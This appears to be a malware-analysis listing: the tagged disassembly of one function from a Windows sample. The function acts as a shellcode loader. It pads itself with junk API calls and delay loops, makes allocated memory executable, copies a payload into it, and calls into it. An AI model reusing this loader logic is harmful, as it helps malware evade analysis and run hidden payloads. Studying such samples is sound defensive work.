Function at 0x4045b2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x4045df
inc edi
cmp edi, 0x67d12
jl 0x4045c2
cmp dword [0x28737b4], 0x93
jne 0x4046d3
push 0x403fc8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x403fe0
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x404004
push 0x404038
push 0x404090
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0x4040e4
push esi
call fcn.004053a7
push esi
call fcn.00404c84
push esi
push esi
call fcn.004052b0
push esi
push esi
call fcn.004053be
push esi
call fcn.004057fa
push esi
push esi
call fcn.00404c55
push 0xc
call fcn.00405b2d
mov edi, eax
add esp, 0x2c
cmp edi, esi
je 0x404889
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4046cc
mov ebx, dword [eax]
push eax
call fcn.004054ca
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x4046bd
push edi
call fcn.004054ca
pop ecx
mov eax, dword [0x47bc6c]
add dword [0x28737b4], 0x1134b
push 0x4040e8
mov dword [0x28745f0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x404104
push eax
mov dword [0x2873244], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x28737b4]
mov dword [0x2873238], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x28737b4]
mov dword [0x2873240], eax
push eax
call dword [0x2873238]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x404732
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x28737b4], esi
jbe 0x4047b2
mov eax, dword [0x28745f0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2873240]
mov byte [ecx + edi], al
cmp dword [0x28737b4], 0x490
jne 0x4047a9
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x28737b4]
jb 0x404760
xor edi, edi
mov eax, dword [0x28737b4]
add eax, edi
cmp eax, 0x8d
jne 0x4047f3
push esi
lea eax, [ebp - 0x414]
push eax
push esi
push 0x404114
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x404118
push 0x404130
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x4047b4
call fcn.004044dd
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x404821
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x2873240], eax
inc edi
cmp edi, 0x674bd
jl 0x404803
push 0x7b
pop edi
cmp dword [0x28737b4], 0x86
jne 0x404874
push esi
push esi
push esi
push esi
push esi
push esi
push 0x404150
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec edi
jne 0x40482d
push 0x404188
call ebx
call dword [0x2873240]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], esi
call fcn.00404d34
push 0x4769a8
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x40130c
call fcn.0040b616
int3